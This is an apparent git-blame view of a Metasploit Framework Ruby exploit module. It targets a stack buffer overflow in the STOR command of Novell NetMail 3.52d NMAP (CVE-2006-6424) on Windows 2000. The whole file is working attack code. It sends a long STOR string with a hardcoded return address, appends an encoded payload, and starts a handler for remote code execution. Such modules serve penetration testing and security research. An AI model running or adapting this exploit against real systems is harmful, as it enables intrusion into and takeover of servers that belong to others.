2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
2007-03-01 12:44:47 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
require 'msf/core'
|
2007-03-01 12:44:47 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-03-01 12:44:47 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2007-03-01 12:44:47 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-03-01 12:44:47 +00:00
|
|
|
'Name' => 'Novell NetMail <= 3.52d NMAP STOR Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR
|
2010-04-30 08:40:19 +00:00
|
|
|
verb. By sending an overly long string, an attacker can overwrite the
|
|
|
|
buffer and control program execution.
|
2007-03-01 12:44:47 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-05-07 04:48:45 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-03-01 12:44:47 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2006-6424' ],
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'OSVDB', '31363' ],
|
|
|
|
[ 'BID', '21725' ],
|
2007-03-01 12:44:47 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 500,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2007-03-01 12:44:47 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],
|
2007-03-01 12:44:47 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Dec 23 2006'))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options([Opt::RPORT(689)], self.class)
|
2007-03-01 12:44:47 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-01 12:44:47 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
sock.get_once
|
|
|
|
|
|
|
|
auth = "USER " + rand_text_english(10)
|
|
|
|
sock.put(auth + "\r\n")
|
|
|
|
|
|
|
|
res = sock.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-01 12:44:47 +00:00
|
|
|
sploit = "STOR " + rand_text_english(253) + [ target.ret ].pack('V')
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded
|
2007-03-01 12:44:47 +00:00
|
|
|
|
|
|
|
if (res =~ /1000/)
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sock.put(sploit)
|
|
|
|
else
|
|
|
|
print_status("Not in Trusted Hosts.")
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-01 12:44:47 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|